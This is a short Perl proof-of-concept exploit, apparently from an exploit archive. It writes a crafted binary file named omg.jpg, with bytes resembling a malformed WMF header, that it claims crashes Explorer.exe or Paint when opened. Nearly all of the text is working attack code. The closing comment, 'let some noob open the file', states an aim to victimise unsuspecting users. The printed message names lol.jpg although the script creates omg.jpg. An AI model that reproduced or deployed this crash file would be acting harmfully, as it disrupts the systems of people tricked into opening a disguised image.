Denial Of Service PIC

#!/usr/bin/perl

#tech-bl0od3r.blogspot.com
print "\nPAINT Denial Of Service(Explorer.exe Crash)\n";
open(JPG, ">./omg.jpg") or die "cannot create file\n";
print JPG "\x01\x00\x09\x00\x00\x03\x22\x00\x00\x00\x63\x79\x61\x6E\x69\x64";
print JPG "\x2D\x45\x07\x00\x00\x00\xFC\x02\x00\x00\x00\x00\x00\x00\x00\x00";
print JPG "\x08\x00\x00\x00\xFA\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
print JPG "\x07\x00\x00\x00\xFC\x02\x08\x00\x00\x00\x00\x00\x00\x80\x03\x00";
print JPG "\x00\x00\x00\x00";
close(JPG);
print "Done....safed to lol.jpg\n";

#let some noob open the file...